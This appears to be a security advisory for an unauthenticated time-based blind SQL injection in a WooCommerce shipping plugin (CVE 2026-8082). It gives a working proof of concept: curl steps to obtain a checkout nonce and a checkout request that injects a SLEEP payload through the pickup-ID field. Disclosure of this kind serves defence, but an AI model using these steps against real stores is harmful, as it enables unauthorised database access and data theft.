Bpost Shipping Platform < 3.2.3 – Unauthenticated SQL Injection | CVE 2026-8082

Description

The plugin does not properly sanitize a parameter before using it in a SQL query during WooCommerce order submission, allowing unauthenticated attackers to perform time-based blind SQL injection on stores running this plugin.

Proof of Concept

**Prerequisites**

- WooCommerce installed with at least one shipping zone covering Belgium (or the country used in the billing address) with one available shipping method.
- A purchasable product in stock.
- The site uses the classic `[woocommerce_checkout]` shortcode (this exposes the WC checkout nonce on the public checkout page; the same handler is also reachable via the block-based Store API checkout — see Notes).

**Steps**

1. As an unauthenticated visitor, add a product to the cart:

```
curl -k -c cookies.txt -b cookies.txt 'https://target.tld/?add-to-cart=PRODUCT_ID' -L -o /dev/null
```

2. Visit the classic checkout page and extract the WC checkout nonce:

```
curl -k -c cookies.txt -b cookies.txt 'https://target.tld/checkout/' \
  | perl -ne 'print $1, "\n" if /name="woocommerce-process-checkout-nonce"\s+value="([a-f0-9]+)"/' \
  > nonce.txt
```

3. Submit the malicious checkout. The `shipping_pickup_id` is plugged into a double-quoted SQL string with only `sanitize_text_field()` between input and sink, so a `"`-based break-out triggers SQL execution:

```
NONCE=$(cat nonce.txt)
time curl -k -b cookies.txt -X POST 'https://target.tld/?wc-ajax=checkout' \
  --data-urlencode 'billing_first_name=Test' \
  --data-urlencode 'billing_last_name=User' \
  --data-urlencode 'billing_address_1=Rue Test 1' \
  --data-urlencode 'billing_city=Brussels' \
  --data-urlencode 'billing_postcode=1000' \
  --data-urlencode 'billing_country=BE' \
  --data-urlencode 'billing_email=test@example.com' \
  --data-urlencode 'billing_phone=0123456789' \
  --data-urlencode 'shipping_pickup_id=1" AND (SELECT SLEEP(5)) AND "1"="1' \
  --data-urlencode 'shipping_carrier_id=1' \
  --data-urlencode 'shipping_method[0]=flat_rate:1' \
  --data-urlencode 'payment_method=cod' \
  --data-urlencode "woocommerce-process-checkout-nonce=$NONCE" \
  --data-urlencode 'terms=1'
```

4. **Expected result**: the response is delayed by ~5 seconds (vs <100ms baseline), confirming time-based blind SQL injection. The order is also created (`{"result":"success", ...}`) since the SQL still produces a valid `INSERT`.